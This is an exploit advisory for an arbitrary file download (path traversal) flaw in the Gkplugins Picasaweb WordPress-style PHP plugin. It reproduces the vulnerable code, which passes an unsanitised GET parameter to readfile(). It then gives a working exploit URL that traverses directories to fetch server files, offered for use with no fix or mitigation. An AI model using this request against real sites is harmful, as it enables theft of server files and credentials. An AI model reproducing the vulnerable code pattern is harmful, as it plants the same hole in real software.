Gkplugins Picasaweb - Download File Vulnerability

# Exploit Title: Gkplugins Picasaweb Download File
# Date : 2015-08-13
# Exploit Author : TMT [VNhgroup]
# Vendor Homepage: https://gkplugins.com/
# Tested on: Windows 7
 
File
------------------------
$fileout = $_GET['f']; <--  can you download file
$filelength = $_GET['l'];
$filestream = $_GET['start'];
if($fileout!=""){
    $fileout = urldecode($fileout);
    $filelength = urldecode($filelength);
    if($filestream!=""){
        $filelength -= $filestream;
        $filestream = "?start=".$filestream;
    }
    header('Content-Type: application/octet-stream');
    header('Content-Length: ' . $filelength);
    readfile($fileout.$filestream);
}else{
    $text = get_curl($link); 
    echo $text;
}
 
------------------------------
Exploit Code:
site.com/plugins/gkplugins_picasaweb/plugins/plugins_player.php?f=../../../index.php

#  0day.today [2018-02-09]  #